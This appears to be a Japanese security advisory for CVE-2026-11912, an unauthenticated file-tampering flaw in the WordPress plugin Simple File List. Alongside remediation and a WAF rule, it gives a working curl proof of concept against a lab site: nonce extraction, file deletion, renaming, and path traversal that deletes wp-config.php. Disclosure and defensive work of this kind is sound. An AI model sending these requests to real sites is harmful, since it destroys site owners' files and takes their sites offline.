CVE-2026-11912: Simple File List <= 6.3.7 - 認可欠如による未認証ファイル改ざん

エグゼクティブサマリー

脆弱性の詳細

説明

WordPress用プラグインSimple File Listは、バージョン6.3.7までの全バージョンにおいて、認可チェックが不十分なため、任意のファイル改ざんが可能な脆弱性があります。これにより、認証されていない攻撃者がサーバー上のファイルを削除・改ざんすることが可能になります。

根本原因分析

この脆弱性は以下の理由で存在します：

1. AJAXエンドポイントの登録: simplefilelist_edit_job AJAXアクションは、wp_ajax_ と wp_ajax_nopriv_ の両方のフックで登録されており、認証されていないアクセスを許可しています：

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. 脆弱な認可チェック: eeSFL_FileEditor()（1265行目）の認可ロジックは以下を使用しています：

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   is_admin()関数はAJAXリクエストに対してFALSEを返すため、AllowFrontManage設定が評価される前に認可チェックが短絡されます。

3. Nonceの露出: セキュリティnonce（eeSFL_ActionNonce）はwp_create_nonce()を使用して生成され、フロントエンドHTMLのソースコードに露出しているため、攻撃者は認証なしでそれを抽出できます。

影響評価

機密性への影響：高

• ファイル一覧を通じてファイル内容が読み取られる可能性
• ファイルメタデータ（名前、サイズ、日付）が露出

完全性への影響：高（重大）

• 認証されていないファイル削除
• 認証されていないファイル名変更
• 認証されていないファイル説明の変更
• パストラバーサルにより重要なファイル（wp-config.phpを含む）の削除が可能

可用性への影響：なし

• ファイル操作は直接DoSを引き起こすわけではないが、ファイル削除により間接的に可用性に影響を与える可能性がある

実際の悪用実証

テスト中、この脆弱性を悪用してWordPress設定ファイル（wp-config.php）を削除することに成功し、サイトを完全に破壊しました。 これは、この脆弱性のパストラバーサル面の重大な深刻度を示しています。

PoC悪用手順

手順1: フロントエンドからNonceを抽出

# Get the security nonce from the file list page
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2

手順2: 認証されていないファイル削除

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Response: SUCCESS

手順3: 認証されていないファイル名変更

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS

手順4: パストラバーサル（重大 - wp-config.phpの削除）

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Response: SUCCESS (CRITICAL - This breaks the site!)

修正策

即時対応

1. プラグインの更新：Simple File Listをバージョン6.3.8以上にアップグレード
2. 侵害の確認：不正な変更がないかファイルシステムを監査
3. バックアップの復元：wp-config.phpが影響を受けた場合、バックアップから復元

一時的な回避策（アップデートがすぐにできない場合）

1. パッチが適用されるまでSimple File Listプラグインを無効化
2. [eeSFL]ショートコードを含むページを削除
3. 疑わしいAJAXリクエストをブロックするWAFルールを実装：
   root@kitploit:~

   # Block simplefilelist_edit_job AJAX calls
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

長期的な推奨事項

• リクエスト発信元の検証（CSRF保護）を実装
• すべてのファイル操作に権限チェックを追加
• AJAXエンドポイントにレート制限を設定
• 不審なファイル操作のログを監視

参考文献

• Wordfence Intelligence
• Simple File Listプラグインページ
• プラグインSVNトランク

テスト環境

• ラボ：DDEV poloss-lab
• URL：https://poloss-lab.ddev.site
• テストしたプラグインバージョン：6.3.7
• WordPressバージョン：最新（PHP 8.4）

Claude Code - WordPressセキュリティテストラボによって生成されたレポート 日付: 2026年6月20日